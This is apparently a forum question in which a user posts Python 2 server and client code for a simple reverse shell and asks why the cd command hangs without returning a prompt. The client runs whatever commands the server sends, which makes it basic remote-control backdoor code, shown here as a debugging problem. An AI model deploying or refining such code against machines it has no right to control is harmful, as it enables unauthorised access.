I am making a reverse shell in Python 2. However, I can't get cd (change directory) to work.
Here is my code for the server:
#!/usr/bin/python import socket host = socket.gethostname() port = 1337 s = socket.socket() s.bind((host, port)) s.listen(1) while True: c, addr = s.accept() print "Accepted connection from", addr while True: cmd = raw_input(">>> ") c.send(cmd) print c.recv(1024) s.close() And here is my code for the client:
#!/usr/bin/python import socket, os s = socket.socket() host = socket.gethostname() port = 1337 s.connect((host, port)) while True: cmd = s.recv(1024) if cmd[:2] == "cd": os.chdir(str(cmd[3:])) else: o = os.popen(cmd).read() s.send(o) What am I doing wrong? Why is changing the directory not working?
EDIT: The command line doesn't return a new >>> prompt.